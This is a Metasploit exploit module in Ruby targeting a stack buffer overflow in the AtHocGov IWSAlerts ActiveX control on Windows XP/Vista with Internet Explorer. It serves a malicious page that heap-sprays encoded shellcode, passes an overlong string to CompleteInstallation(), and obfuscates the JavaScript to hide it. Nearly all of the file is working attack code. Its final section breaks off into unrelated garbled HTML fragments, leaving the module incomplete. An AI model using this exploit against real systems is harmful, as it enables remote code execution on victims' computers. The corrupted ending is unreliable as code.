##
# $Id: athocgov_completeinstallation.rb 10998 2010-11-11 22:43:22Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'AtHocGov IWSAlerts ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in AtHocGov IWSAlerts. When
sending an overly long string to the CompleteInstallation() method of AtHocGovTBr.dll
(6.1.4.36) an attacker may be able to execute arbitrary code. This
vulnerability was silently patched by the vendor.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 10998 $',
'References' =>
[
[ 'URL', 'http://www.athoc.com/products/IWSAlerts_overview.aspx' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
],
'DisclosureDate' => 'Feb 15 2008',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
], self.class)
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)
js = %Q|
try {
var evil_string = "";
var index;
var vulnerable = new ActiveXObject('AtHocGovGSTlBar.GSHelper.1');
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
for (index = 0; index < 12500; index++) {
evil_string = evil_string + my_unescape('#{ret}');
}
vulnerable.CompleteInstallation(evil_string);
} catch( e ) { window.location = 'about:blank' ; }
|
opts = {
'Strings' => true,
'Symbols' => {
'Variables' => [
'vulnerable',
'shellcode',
'my_unescape',
'index',
'evil_string',
]
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.update_opts(js_heap_spray.opts)
js.obfuscate()
content = %Q|
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| <![CDATA[<span id="7ztzv"></span>]]><![CDATA[<form id="7ztzv"></form>]]> | | |
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<![CDATA[<span id="7ztzv"></span>]]> |
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<![CDATA[<address id="7ztzv"></address>]]>
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| <![CDATA[<span id="7ztzv"></span>]]><![CDATA[<form id="7ztzv"></form>]]> | | |
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<![CDATA[<span id="7ztzv"></span>]]> |
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<![CDATA[<address id="7ztzv"></address>]]>
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